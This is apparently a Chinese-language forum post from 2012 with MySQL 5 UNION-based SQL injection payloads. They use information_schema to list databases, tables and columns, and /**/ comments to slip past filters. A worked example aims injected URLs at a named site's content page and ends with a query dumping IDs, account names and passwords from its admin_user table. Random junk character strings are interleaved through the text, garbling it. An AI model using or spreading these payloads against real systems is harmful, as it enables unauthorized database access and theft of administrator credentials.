查库
; Y5 k0 I" ~2 @5 L' l$ w4 R, w: v4 v Z0 E. o5 W. v
id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*; ]( T, z* l) u7 a5 F/ M1 q
8 c; k, v5 `# m2 b! f: I
查表
; v% ~6 t' N& ]6 G2 ^, ]. K* v2 ]# d
2 X1 W5 c: z0 N. a: k4 ]8 X. bid=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
2 f E! E6 ^( ]( f6 k: x2 n# P* s3 F" a5 z) m
查段% A8 K2 h# J4 p/ p$ \+ M' G
1 v0 G) u; X9 P X; Z8 l, eid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
: [3 \0 Q* i8 S, H
: @3 D2 ?1 k9 {1 r( S; B) Y% d' a8 C
mysql5高级注入方法暴表
0 ?7 `; F) e. j8 j$ G5 n2 t4 n. a* [; O' ^ T9 u
例子如下:) c E( H, {4 t7 D6 _- A0 H3 l6 O
; d: `/ a8 ^9 {( x1.爆表
8 X- A9 P3 d9 I+ K( q! B* H: }# jhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
& n ?$ A6 [0 P3 A这样爆到第4个时出现了admin_user表。: U1 w C0 Z. B0 ?3 X+ {
: y. v- O# U& ?+ H
2.暴字段
$ v2 `' _6 _9 i% v5 ehttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*# b" p# G8 k' ]% j! t
9 |: p" a1 l% g8 [ ~- O2 P$ i' Y( a
3.爆密码/ O7 f- O& g6 S# ?
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
3 G! y) T) w. o( U C, w: Z& |: Z. {3 k8 E$ ]1 B* I, i7 Q9 C s
2 Q2 I' v) N3 X V$ v3 }/ y |
发表于 2012-9-13 16:29:37
收藏
支持
反对